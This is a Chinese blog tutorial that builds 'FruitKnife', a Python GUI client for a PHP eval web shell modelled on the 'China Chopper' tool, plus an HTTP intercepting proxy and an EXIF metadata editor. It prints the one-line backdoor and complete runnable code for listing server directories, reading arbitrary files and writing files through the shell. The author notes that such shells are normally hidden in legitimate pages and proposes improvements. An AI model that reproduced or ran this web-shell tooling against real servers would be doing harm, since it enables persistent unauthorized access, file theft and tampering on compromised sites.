动手实现简易PHP一句话连接工具——FruitKnife

效果展示

连接一句话

在这里插入图片描述

浏览服务器目录

在这里插入图片描述

打开文件

在这里插入图片描述

跳转目录

在这里插入图片描述

上传文件

在这里插入图片描述

前言

小工具由Python语言实现,虽然并不复杂,但是为了能够更好地理解以下内容,需要读者具有PHP语言基础(能看懂代码就行,不必具有开发能力),并在阅读本文章前,弄懂这篇文章(PHP一句话)。

以下内容的展开,会默认大家已完成上述目标。

如果是处在网络安全入门阶段的小伙伴,上面条件是完全具备的,忽略就好。

友好提示:此文章篇幅较长,请确保自己有足够的时间及耐心。

设计思路与需求分析

从开头的几个功能的展示动图里不难发现,我们就是仿写了个低配的“菜刀”哈,关于菜刀的介绍,在上文提到的文章里也有涉及,不再过多的赘述。

对于PHP一句话的利用,原理其实很简单,就是构造一句话接收的那个参数,让服务器执行参数内容,并返回结果罢了。

文章开头动图里的“打开文件”,可以看到,我是在test项目里放了一句话文件test.php,作为测试目标,其内容为:

<?php
	eval($_REQUEST["shell"]);
?>

对此处一句话的利用,就是构造shell这个参数罢了。而我们工具的设计思路就是将“直接构造参数”这个行为模式转换成“用户点击触发相应构造参数的行为”这么一个过程

用Python语言发送HTTP请求很简单,工具要做的其实就是构造对应操作的请求链接。

我们的需求呢,就是要求工具能够方便的管理服务器项目(要求有点高)。比如,遍历服务器目录,打开及上传文件,并尽可能的操作简单等等。接下来我们以文章开头展示的功能点为顺序,分别展开设计。

功能实现

连接一句话

在开头图片中我输入的URL和Password,大家看也能明白,一个是一句话所在位置,另一个是一句话接收的参数名称。

比如test项目下的一句话文件是test.php,其中的一句话接收“shell”这个参数。那URL是http://localhost/test/test.php,pass是shell。

这两个是工具必须接收的两个输入,剩下构造参数的任务,就是我们工具需要实现的自动化过程。

在这里呢,我们把“连接”这个功能设计成了“显示一句话文件所在目录”这么一个效果。可以看到动图中,当输入URL和Pass,点击LINK按钮后,在界面显示出目录列表。并且Label内容变成了当前目录路径。

我们来看这里的两个内容哈,一个是文件所在的目录,一个是文件所在目录的文件列表。

现在就需要PHP基础了,文件所在目录很简单:

echo(__DIR__);

文件所在目录的文件列表呢,也不难:

print_r(scandir(__DIR__));

做下简单解释,echo很简单,就是print。__DIR__是PHP中的全局变量,保存当前路径。scandir函数扫描指定路径,并返回一个Array类型的文件数组。这里为什么要用print_r函数输出,而不用echo呢?是因为echo不能够胜任,echo只适合输出简单的字符串,数值等等,像Array这样复杂的数据结构,echo做不到。

如果我们手动的构造这个参数,最后的链接应该是:

http://localhost/test/test.php?shell=echo(__DIR__);print_r(scandir(__DIR__));

如果你完成了开头我给你的任务,这里理解起来应该并不复杂。

当我们请求这个链接的时候胡,返回结果是什么呢?
在这里插入图片描述
图中框起来的就是echo的输出,后面的数组就是目录列表。

工具要做什么呢?就是构造这个链接,发送HTTP请求,并从返回结果中抠出当前路径和目录列表,然后逐项显示到窗口中

此功能点的整个思路已建立,开始实现。

先从可视化说起(仍旧使用的标准库tkinter),接受两个参数嘛,Entry即可胜任,还有一个显示当前目录的Label,及最后显示目录列表的这个框框。

这个框框,大家可能第一想到的就是Text这个控件,也不是不可以。但是考虑到我们之后的操作,着重在于选择框框里的条目,而Text实现此功能过于繁琐,所以这里我采用的是这个控件——Listbox。

关于Listbox的使用,我们遇到一点说一点哈。

致此,可视化设计:

import tkinter as tk

window = tk.Tk()
window.title("Fruit Knife By 刑者")
window.geometry('600x400')
window.config(background='#CCE8CF')

#the entry which get link and password
tk.Label(window, text="URL & PW:").place(x=120, y=10)
link_entry = tk.Entry(window)
link_entry.place(x=200, y=10)
password_entry = tk.Entry(window, width=5)
password_entry.place(x=350, y=10)

#Link button
tk.Button(window, text="Link", command=getConn).place(x=400,y=10)

#a variable save current directory
cwd = tk.StringVar(window)
cwd.set("Welcom to fruit knife")

tk.Label(window, text="PWD:").place(x=120, y=40)
tk.Label(window, textvariable=cwd, bg="#CCE8CF").place(x=200, y=40)

#creat list_box which show the dir_list
list_frame = tk.Frame(window)
scroll_bar = tk.Scrollbar(list_frame)
list_box = tk.Listbox(list_frame, height=15, width=50, yscrollcommand=scroll_bar.set)
list_box.bind('<Double-1>',doubleClick)
scroll_bar.pack(side=tk.RIGHT, fill=tk.Y)
list_box.pack()
list_frame.place(x=120, y=70)

window.mainloop()

很简单,不再过多解释,只是把Listbox和Scrollbar放到了一个Frame里。

可以看到啊,LINK按钮绑定了getConn事件,而Listbox也绑定了Double-1事件,即双击。Listbox的事件绑定,放在后面,先来说getConn。

getConn逻辑很简单,就是获得构造链接的返回结果,并把他们显示到窗口上嘛。所以,我们先来设计连接器这个类的第一个方法connect,之后让getConn调用即可。

class FruitKnife(object):

    def __init__(self, host, password):
        
        """Initializing object"""
        
        self.host = host
        self.password = password

    def connect(self):

        """This method will establish a connection and return directory list"""

        #construct link
        url = "{}?{}=echo%20%27@@@@%27;echo(__DIR__);" \
              "print_r(scandir(__DIR__));echo%20%27@@@@%27;".format(self.host, \
                                                               self.password)
        #send request
        text = urllib.request.urlopen(url).read().decode("gbk")
        text = re.search(r'@@@@(.*?)@@@@', text, re.S).group(1)
        #get current path
        file_path = re.search(r'(.*?)Array\n', text)
        #get directory list
        dir_list = re.findall(r'=> (.*?)\n', text)
        return file_path.group(1),dir_list

init函数就不说了哈,就是那两个必须参数嘛。直接看connect函数,url的构造也略过,上面我们已经分析了。不过有一点要注意,就是在echo和print_r的前后我分别加了两句echo("@@@@"),这个是为什么呢?

如果是学习Web安全的小伙伴,应该很好理解哈。一般情况下,一句话会被悄悄的插入到一个正常网页里,像我们这里这样直接能在服务器上放一个“纯纯的”一句话文件的可能性近乎于没有。也因此,我们要的数据,可能和这个网页里面的其他内容混为一谈。所以在我们需要的数据前后加上标记,方便取出。一篇正常文章里连续出现四个@的情况可不多见(这篇文章除外…)。

得到请求的返回数据后,我们通过三个正则操作,把想要的东西匹配出来。1、找到前后四个@之间的内容;2、在其中拿出当前目录;3、将Array里的元素一个个取出来,合成一个Python方便操作的List(findall的返回结果)。之后,把我们需要的目录,及目录下的文件列表合成一个tuple返回。

至此,类行为的设计完成。接下来设计桥梁——getConn函数。

这就很简单了:

def getConn():

    """The function will be triggered when the LINK button is clicked
    and connect the link inputed"""
    
    FK = FruitKnife(link_entry.get(), password_entry.get())
    path_dirList = FK.connect()
    cwd.set(path_dirList[0])
    list_box.delete(0, tk.END)
    for i in dir_list:
        list_box.insert(tk.END, i)

不做过多解释,注意Listbox插入items的方式即可。

浏览目录

下一个功能点,浏览服务器目录。

现在已经初步的显示了当前目录,我希望通过双击Listbox中的目录,跳转到指定目录,并将新目录的文件列表显示到Listbox中。

上面的设计里,当Listbox的双击事件被触发时,执行doubleClick这个函数。同样的,我们先考虑类怎么实现这个update功能。

很简单,给我你要转到的目录,其他操作和connect一样。

def update(self, path):

        """A new directory list will be return after the first request"""
        
        url = "{}?{}=echo%20%27@@@@%27;print_r(scandir('{}'));" \
              "echo%20%27@@@@%27;".format(self.host, self.password, path)
        text = urllib.request.urlopen(url).read().decode("gbk")
        text = re.search(r'@@@@(.*?)@@@@', text, re.S).group(1)
        dir_list = re.findall(r'=> (.*?)\n', text)
        return dir_list

这里我们不需要再echo输出__DIR__了,毕竟我们已经知道操作之前的目录,只要根据操作直接转换就好,没必要再让它请求一遍。

那,桥梁doubleClick的设计,一看就懂:

def doubleClick(ev=None):

    """The function will be triggered when you double click a item in list_box
    and show the new directory list which the item point to"""
    
    list_box_value = list_box.get(list_box.curselection())
    path = cwd.get()
    if list_box_value == ".":
        pass
    elif list_box_value == "..":
        path = re.search(r"(.*)\\", path).group(1)
    else:
        path += "\\"+list_box_value
    dir_list = FK.update(path)
    list_box_printer(dir_list)
    cwd.set(path)

(list_box_printer是什么?往下看)

注意Listbox获取当前所选item内容的方式。curselection函数可以当做索引,Listbox的get方法就是获取指定索引元素的内容。

我们注意到,当单击Listbox里的元素时,被选item会变蓝,变蓝这个效果绑定的事件就是“单击”,因为“单击”被Listbox空间本身的特性所占有,所以Listbox又给了个虚拟绑定,可代替“单击”处理“被选择”的操作,这里我们不做过多的讨论,感兴趣的小伙伴可自行去学习。

获取到选择内容后,我们做了个判断,如果内容是一个点,那就是当前目录嘛,什么都不做;如果是两个点,那就是上一目录,我们用正则表达式把当前目录的最后一级目录去掉,即取出之前的内容。

其他操作呢,就是进入到了下一级目录,那就在当前目录后面添加一级目录就好啦。之后调用类的update方法,获得新目录的文件列表。最后将Listbox和cwd的内容更新。

可以发现,往Listbox里写内容的操作和getConn一模一样,可以把这段逻辑抽出来另写一个函数list_box_printer:

def list_box_printer(dir_list):

    """The function will clear list_box and print dir_list"""
    
    list_box.delete(0, tk.END)
    for i in dir_list:
        list_box.insert(tk.END, i)

getConn函数里的这部分也可以用它替换(我会在最后把所有代码贴出)。

打开文件

接下来是,打开一个文件查看内容。

设计的思路就是,单击选中一个文件,然后点击OPEN按钮,创建一个新窗口,显示所选文件内容。

按钮的设计:

#OPEN button
open_button = tk.Button(window, text="Open", command=getContent)
open_button.place(x=320, y=360)

不解释,看不懂的请点击屏幕右上角。

在设计桥梁getContent前,我们依旧先分析类要做什么。其实就是得到文件路径,然后通过构造一句话参数读取文件,并在返回结果里把内容拿出来显示而已。

PHP获取文件内容如何操作呢?一个函数就可以了

file_get_contents('file_name')

(大家可以先在浏览器里自己构造下,看下效果哈。篇幅原因,我就不演示了。)

那类行为Open就很简单了,我只需要你要的到文件名称:

    def open(self, file):

        """The method will open a file which has be selected by the listbox"""
        
        url = "{}?{}=echo%20%27@@@@%27;echo(file_get_contents('{}'));" \
              "echo%20%27@@@@%27;".format(self.host, self.password, file)
        text = urllib.request.urlopen(url).read().decode("utf-8")
        text = re.search(r'@@@@(.*?)@@@@', text, re.S).group(1)
        return text

忘记一个事情,正则里的re.S是为了处理匹配内容中有换行,连续的空格之类的事情的(详细功能,请自己查询)。

接下来,桥梁getContent的设计:

def getContent():

    """The function will be triggered when OPEN button is clicked and show
    the content of file which list_box has selceted to a new window"""
    
    list_box_value = list_box.get(list_box.curselection())
    file = cwd.get()+"\\" + list_box_value
    content = FK.open(file)
    #create a new window which show the content of file which selected
    new_window = tk.Toplevel()
    new_window.title(list_box_value)
    t = tk.Text(new_window)
    t.pack()
    t.insert(tk.END, content)

这里注意一下子窗口的创建方式即可,在子窗口中放入一个Text显示内容。

跳转路径

除了我们一级级的点击转换路径外啊,我希望可以直接跳转到我输入的位置。

那需要一个接受我输入路径的Entry和跳转按钮JUMP。

#a entry which get a new directory that will check
entry = tk.Entry(window)
entry.place(x=120, y=360)

#JUMP button
jump_button = tk.Button(window, text="Jump", command=jump)
jump_button.place(x=270, y=360)

看不懂,右上角。

设计桥梁jump前,考虑类行为要做什么?得到要跳转的目录,然后构造参数发送请求,将返回结果取出显示到Listbox里。啊,这不就是我们设计浏览目录功能时,update这个行为做的事吗。太棒了,直接调用。

def jump():

    """The function will be triggered when JUMP button is clicked and
    change current word directory to new directory which you has inputed"""
    
    path = entry.get()
    dir_list = FK.update(path)
    list_box_printer(dir_list)
    cwd.set(path)

舒服~,下一个。

上传文件

最后一个功能啦,坚持住。

这个功能,我们分端来分析就很简单。我们构造的参数是想让服务器执行什么呢?

就是创建一个文件,然后把内容写进去,最后保存嘛。

PHP创建新文件操作:

$file=fopen('file_name','w');
fwrite($file, 'file_content');
fclose($file);

所以一句话构造的参数执行上述代码即可。

首先,可视化界面里需要一个上传按钮UPLOAD,当点击后弹出一个文件选择菜单,选择我们要上传的文件。类行为要做的事呢,就是把所选文件内容读出来,并用它构造参数,发送请求,使得服务器执行上述创建文件的操作。

换而言之啊,这里所谓的上传功能,我们把它变成了简单的创建文件了。

那是否请求成功了呢?我们再设置一个Label来显示上传状态。

#a variable save the status of uploadding file
upload_is_ok = tk.StringVar(window)
#UPLOAD button
upload_button = tk.Button(window, text="Upload", command=upload)
upload_button.place(x=500, y=360)
tk.Label(window, textvariable=upload_is_ok, bg="#CCE8CF").place(x=550, y=360)

先不管桥梁upload,先看类行为,只需要文件内容就好了嘛:

    def upload(self, file, content):

        """The method will upload a file which you have selected to the
        current directory"""
        
        url = "{}?{}=$file=fopen(%27{}%27,%20%27w%27);fwrite($file,%27{}%27);" \
              "fclose($file);".format(self.host, self.password, file, content)
        urllib.request.urlopen(url)
        return "ok?"

那桥梁的设计就是给类行为文件内容喽:

def upload():

    """The function will be triggerd when UPLOAD button is clicked and call
    a file menu to get the file you will chose and upload the file to server"""
    
    file_path = askopenfilename()
    with open(file_path) as f:
        content = urllib.parse.quote(f.read())
    file_name = file_path[len(dirname(file_path)):]
    result = FK.upload(cwd.get()+file_name, content)
    upload_is_ok.set(result)

这里借用tkinter里filedialog里的askopenfilename函数来调用文件选择窗口,之后读取文件内容。askopen函数返回的是文件的绝对路径,因此,我通过切片的方式去掉了文件名之前的目录,得到了file_name。(为了实现这么一个小功能点,还借用了os module,其中的dirname函数即os模块中的方法,你也可以用正则把最后名字抠出来哈,一样的。)

致此,全部完成了。

节目清单

import tkinter as tk
import urllib.request
import re
from tkinter.filedialog import askopenfilename
from os.path import dirname

class FruitKnife(object):

    def __init__(self, host, password):
        
        """Initializing object"""
        
        self.host = host
        self.password = password

    def connect(self):

        """This method will establish a connection and return directory list"""

        #construct link
        url = "{}?{}=echo%20%27@@@@%27;echo(__DIR__);" \
              "print_r(scandir(__DIR__));echo%20%27@@@@%27;".format(self.host, \
                                                               self.password)
        #send request
        text = urllib.request.urlopen(url).read().decode("gbk")
        text = re.search(r'@@@@(.*?)@@@@', text, re.S).group(1)
        #get current path
        file_path = re.search(r'(.*?)Array\n', text)
        #get directory list
        dir_list = re.findall(r'=> (.*?)\n', text)
        return file_path.group(1),dir_list
        
    def update(self, path):

        """A new directory list will be return after the first request"""
        
        url = "{}?{}=echo%20%27@@@@%27;print_r(scandir('{}'));" \
              "echo%20%27@@@@%27;".format(self.host, self.password, path)
        text = urllib.request.urlopen(url).read().decode("gbk")
        text = re.search(r'@@@@(.*?)@@@@', text, re.S).group(1)
        dir_list = re.findall(r'=> (.*?)\n', text)
        return dir_list

    def open(self, file):

        """The method will open a file which has be selected by the listbox"""
        
        url = "{}?{}=echo%20%27@@@@%27;echo(file_get_contents('{}'));" \
              "echo%20%27@@@@%27;".format(self.host, self.password, file)
        text = urllib.request.urlopen(url).read().decode("utf-8")
        text = re.search(r'@@@@(.*?)@@@@', text, re.S).group(1)
        return text

    def upload(self, file, content):

        """The method will upload a file which you have selected to the
        current directory"""
        
        url = "{}?{}=$file=fopen(%27{}%27,%20%27w%27);fwrite($file,%27{}%27);" \
              "fclose($file);".format(self.host, self.password, file, content)
        urllib.request.urlopen(url)
        return "ok?"

def list_box_printer(dir_list):

    """The function will clear list_box and print dir_list"""
    
    list_box.delete(0, tk.END)
    for i in dir_list:
        list_box.insert(tk.END, i)

def getConn():

    """The function will be triggered when the LINK button is clicked
    and connect the link inputed"""
    
    global FK
    FK = FruitKnife(link_entry.get(), password_entry.get())
    path_dirList = FK.connect()
    cwd.set(path_dirList[0])
    list_box_printer(path_dirList[1])

def doubleClick(ev=None):

    """The function will be triggered when you double click a item in list_box
    and show the new directory list which the item point to"""
    
    list_box_value = list_box.get(list_box.curselection())
    path = cwd.get()
    if list_box_value == ".":
        pass
    elif list_box_value == "..":
        path = re.search(r"(.*)\\", path).group(1)
    else:
        path += "\\"+list_box_value
    dir_list = FK.update(path)
    list_box_printer(dir_list)
    cwd.set(path)

def getContent():

    """The function will be triggered when OPEN button is clicked and show
    the content of file which list_box has selceted to a new window"""
    
    list_box_value = list_box.get(list_box.curselection())
    file = cwd.get()+"\\" + list_box_value
    content = FK.open(file)
    #create a new window which show the content of file which selected
    new_window = tk.Toplevel()
    new_window.title(list_box_value)
    t = tk.Text(new_window)
    t.pack()
    t.insert(tk.END, content)

def jump():

    """The function will be triggered when JUMP button is clicked and
    change current word directory to new directory which you has inputed"""
    
    path = entry.get()
    dir_list = FK.update(path)
    list_box_printer(dir_list)
    cwd.set(path)

def upload():

    """The function will be triggerd when UPLOAD button is clicked and call
    a file menu to get the file you will chose and upload the file to server"""
    
    file_path = askopenfilename()
    with open(file_path) as f:
        content = urllib.parse.quote(f.read())
    file_name = file_path[len(dirname(file_path)):]
    result = FK.upload(cwd.get()+file_name, content)
    upload_is_ok.set(result)

#the class of FruitKnife 
FK = None

#create root window
window = tk.Tk()
window.title("Fruit Knife By 刑者")
window.geometry('600x400')
window.config(background='#CCE8CF')

#the entry which get link and password
tk.Label(window, text="URL & PW:").place(x=120, y=10)
link_entry = tk.Entry(window)
link_entry.place(x=200, y=10)
password_entry = tk.Entry(window, width=5)
password_entry.place(x=350, y=10)

#Link button
tk.Button(window, text="Link", command=getConn).place(x=400,y=10)

#a variable save current directory
cwd = tk.StringVar(window)
cwd.set("Welcom to fruit knife")

tk.Label(window, text="PWD:").place(x=120, y=40)
tk.Label(window, textvariable=cwd, bg="#CCE8CF").place(x=200, y=40)

#creat list_box which show the dir_list
list_frame = tk.Frame(window)
scroll_bar = tk.Scrollbar(list_frame)
list_box = tk.Listbox(list_frame, height=15, width=50, yscrollcommand=scroll_bar.set)
list_box.bind('<Double-1>',doubleClick)
scroll_bar.pack(side=tk.RIGHT, fill=tk.Y)
list_box.pack()
list_frame.place(x=120, y=70)

#a entry which get a new directory that will check
entry = tk.Entry(window)
entry.place(x=120, y=360)

#JUMP button
jump_button = tk.Button(window, text="Jump", command=jump)
jump_button.place(x=270, y=360)

#OPEN button
open_button = tk.Button(window, text="Open", command=getContent)
open_button.place(x=320, y=360)

#a variable save the status of uploadding file
upload_is_ok = tk.StringVar(window)
#UPLOAD button
upload_button = tk.Button(window, text="Upload", command=upload)
upload_button.place(x=500, y=360)
tk.Label(window, textvariable=upload_is_ok, bg="#CCE8CF").place(x=550, y=360)

window.mainloop()

如果你是跟着我一起一点点写出来的,估计大概率不能运行。其中有一个点,我们是在点击LINK按钮后创建的FK对象,这样也使得FK对象成了getConn的局部变量,而其他函数中也对FK进行了调用,此时就会出错(这些小问题都是在我们设计过程中出现的,需要我们不断地优化,所以并未写到文章里)。

那把FK对象当成全部变量,在程序运行时就创建不行吗?不行,因为对象的初始化时需要两个必须输入的,还记得吗。这两个在程序运行开始的时候是没有的,需要我们手动输入,所以必须点击LINK后再创建。为了全局能够调用它,请关注一下最后全部代码的处理方式。

不足之处

可以看到哈,这个小工具存在很多缺陷,你可以一点点的优化它。其中有一个硬伤就是上传这个功能,我们将其简化成了创建文件。而这个操作是需要文件内容的,如果文件内容过长,我们构造的链接就会过长。而不同浏览器会对链接长度有要求,这也使得我们不能上传太大的文件(如果你能将整个工具的请求方式由GET转为POST这个问题可以被解决)。

不过发送POST请求,Python很好操作哈。但是向URL以POST方式提交二进制信息进行保存的操作有些问题,fwrite接收的是一个string,怎么把Python的bytes类型转成fwrite能够接受的string类型,还是一个问题(这个转换要在服务器端进行)。

二,可以尝试模拟前端页面的表单提交,先伪造一个URL使页面具有move_uploaded_file功能。再伪造一个URL使页面插入表单,表单action指向最开始伪造的url,以此模拟正常上传步骤。当然,需要手动点击按钮。(可以通过JS进行按钮的点击模拟,onload时执行click方法,或者在设计完界面下面立马执行js模拟点击。)

想法不错,但是这种方法不行,type=file的input会处理一个file对象,这个file对象没办法模拟设计。(或者说实现点在file对象上,如果你对file对象有足够多的了解,也许能达到伪造的效果。)

以上是给的两种思路,能力强的小伙伴可以尝试下。

最后一点,整篇文章的测试都是在本地服务器环境下测试的,整个的HTTP请求比较快,如果是对远程服务器进行操作,绑定的事件执行事件可能过长,造成界面“假死”现象(类似于无响应)。此时可以通过多线程来解决,而关于多线程的使用和解释,在前几篇中已详细论述,不再多谈。

工具名字的由来

其实在最开始已经说了哈,因为它就是对菜刀的仿写嘛。配不上这个名字,就起了个“水果刀”。

关于系列

关于这个工具系列的文章,暂时告一段落。还有两款小工具我不想写了,会在最后把源码贴出来,喜欢的小伙伴可以试着玩一玩。太久之前写的,乱七八糟,我也没时间整理他们,大家自行优化吧。

因个人原因,这个博客在未来较长的一段时间内不会更新,有些事要去做,有些东西要沉淀,这也算一段时间内的最后一篇吧。感谢关注的人,未来再见。

另外两个小工具

简易版HTTP报文截获工具——Catcher

import tkinter as tk
import socket
import threading
import re

'''
Created on Thu Jan  2 2020

@author by 刑者
'''
#Service configuration information
local = socket.socket()
ip_port = ("localhost", 55555)
local.bind(ip_port)
local.listen(1)

def get_host(data):
    """Get host from request infomation"""
    host = re.search(r"host: (.+)\r", data, flags=re.I)[1]
    return host.strip()

window = tk.Tk()
window.title('Catch package    by刑者')
window.geometry('600x400')
window.config(background="#CCE8CF")

request_label = tk.Label(window, bg="#CCE8CF", \
                         text="Request:").place(x=10, y=10)
response_label = tk.Label(window, bg="#CCE8CF", \
                          text="Response:").place(x=300, y=10)

request_text = tk.Text(window, width=35, height=25, bg="#CCE8CF")
request_text.place(x=10, y=40)
response_text = tk.Text(window, width=35, height=25, bg="#CCE8CF")
response_text.place(x=300, y=40)

def listen():
    """Get request information from browser and send request header

    to the target server
    """
    var_tip.set("Start monitoring.")
    browser, address = local.accept()
    data = browser.recv(2048)
    request_data = data.decode()
    host = get_host(request_data)
    target = socket.socket()
    print(host)
    #port number is variable in actual combat, especially in the
    #range environment
    target.connect((host, 80))
    target.sendall(data)
    data = target.recv(1024)
    browser.sendall(data)
    target.close()
    browser.close()
    request_text.insert("insert", request_data)

def start():
    threading.Thread(target=listen).start()

start = tk.Button(window, bg="#CCFFFF", text="start", command=start \
                  ).place(x=560, y=10)

def send():
    data = request_text.get("0.0", "end")
    host = get_host(data)
    target = socket.socket()
    target.connect((host, 80))
    target.sendall(data.encode())
    data = target.recv(2048).decode()
    response_text.delete(0.0, tk.END)
    response_text.insert("insert", data)
    
def click():
    threading.Thread(target=send).start()

button = tk.Button(window, bg="#CCFFFF", text="Go", command=click \
                   ).place(x=120, y=370)

#show something friendly tios
var_tip = tk.StringVar()
tk.Label(window, textvariable=var_tip, bg="#CCE8CF").place(x=500, y=380)

window.mainloop()

注释啥的都没写,haaaa。

基本思路就是用socket在本地立起一个小的监听器,浏览器配置完代理后,发送的第一个请求会被工具截获到。
在这里插入图片描述

Exif信息编辑器——ExifEditor

import tkinter as tk
from tkinter.filedialog import askopenfilename
from pyexiv2 import Image
import threading
'''
Created on Wed Jan 29 2020

@author by 刑者
'''
save_info={}
img = None

#select picture
def select_path():
    path.set(askopenfilename())

#get exif information
def get_exif_data():
    global save_info, img
    img = Image(path.get())
    item = ['Exif.Image.Make',
            'Exif.Image.Model',
            'Exif.Photo.DateTimeDigitized',
            'Exif.GPSInfo.GPSLatitude',
            'Exif.GPSInfo.GPSLongitude',
            'Exif.Image.Artist',
            'Exif.Image.ImageDescription']
    exif_info = img.read_exif()
    for i in item:
        if exif_info.get(i):
            save_info[i] = exif_info[i]
        else:
            save_info[i] = "none"
    title.insert(0, save_info['Exif.Image.ImageDescription'])
    artist.insert(0, save_info['Exif.Image.Artist'])
    time.insert(0, save_info['Exif.Photo.DateTimeDigitized'])
    make.insert(0, save_info['Exif.Image.Make'])
    model.insert(0, save_info['Exif.Image.Model'])
    latitude.insert(0, save_info['Exif.GPSInfo.GPSLatitude'])
    longitude.insert(0, save_info['Exif.GPSInfo.GPSLongitude'])
    var_tip.set("Get Finished.")

#modifu exif information
def modify_exif_data():
    global save_info, img
    save_info['Exif.Image.ImageDescription'] = title.get()
    save_info['Exif.Image.Artist'] = artist.get()
    save_info['Exif.Photo.DateTimeDigitized'] = time.get()
    save_info['Exif.Image.Make'] = make.get()
    save_info['Exif.Image.Model'] = model.get()
    save_info['Exif.GPSInfo.GPSLatitude'] = latitude.get()
    save_info['Exif.GPSInfo.GPSLongitude'] = longitude.get()
    img.modify_exif(save_info)
    var_tip.set("Modify Finished.")

#clear exif information
def clear_exif_data():
    global img
    #not all
    img.clear_exif()
    var_tip.set("Clear Finished.")

window = tk.Tk()
window.title("Exif info editer       by 刑者")
window.geometry("400x500")
window.config(background="#CCE8CF")

path = tk.StringVar()

#UI of selecting picture
tk.Label(window, text="Path:").place(x=20, y=20)
tk.Entry(window, textvariable=path).place(x=60, y=20)
tk.Button(window, text="Select", command=select_path).place(x=200, y=20)

#run get_exif_data progress
def get_exif_thread():
    threading.Thread(target=get_exif_data).start()
    
tk.Button(window, text="Get Exif info", command=get_exif_thread).place(x=60, y=60)

#UI of exif information about picture
tk.Label(window, text="Title Description:", bg="#CCE8CF").place(x=20, y=100)
title = tk.Entry(window)
title.place(x=150, y=100)

tk.Label(window, text="Artist:", bg="#CCE8CF").place(x=20, y=130)
artist = tk.Entry(window)
artist.place(x=150, y=130)

tk.Label(window, text="Time:", bg="#CCE8CF").place(x=20, y=160)
time = tk.Entry(window)
time.place(x=150, y=160)

tk.Label(window, text="Make:", bg="#CCE8CF").place(x=20, y=190)
make = tk.Entry(window)
make.place(x=150, y=190)

tk.Label(window, text="Model:", bg="#CCE8CF").place(x=20, y=220)
model = tk.Entry(window)
model.place(x=150, y=220)

tk.Label(window, text="GPSLatitude:", bg="#CCE8CF").place(x=20, y=250)
latitude = tk.Entry(window)
latitude.place(x=150, y=250)

tk.Label(window, text="GPSLongitude:", bg="#CCE8CF").place(x=20, y=280)
longitude = tk.Entry(window)
longitude.place(x=150, y=280)

#run modify_exif_data progress
def modify_exif_thread():
    threading.Thread(target=modify_exif_data).start()

tk.Button(window, text="Modify", command=modify_exif_thread).place(x=320, y=320)

#run clear_exif_data progress
def clear_exif_thread():
    threading.Thread(target=clear_exif_data).start()
    
tk.Button(window, text="Clear", command=clear_exif_thread).place(x=320, y=360)

#show something friendly tios
var_tip = tk.StringVar()
tk.Label(window, textvariable=var_tip, bg="#CCE8CF").place(x=180, y=450)

window.mainloop()

此工具用于读取和编辑图片的Exif信息(关于Exif,请自己查询补充),借助了第三方库pyexiv2,使用前需自行安装。
在这里插入图片描述
完。

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值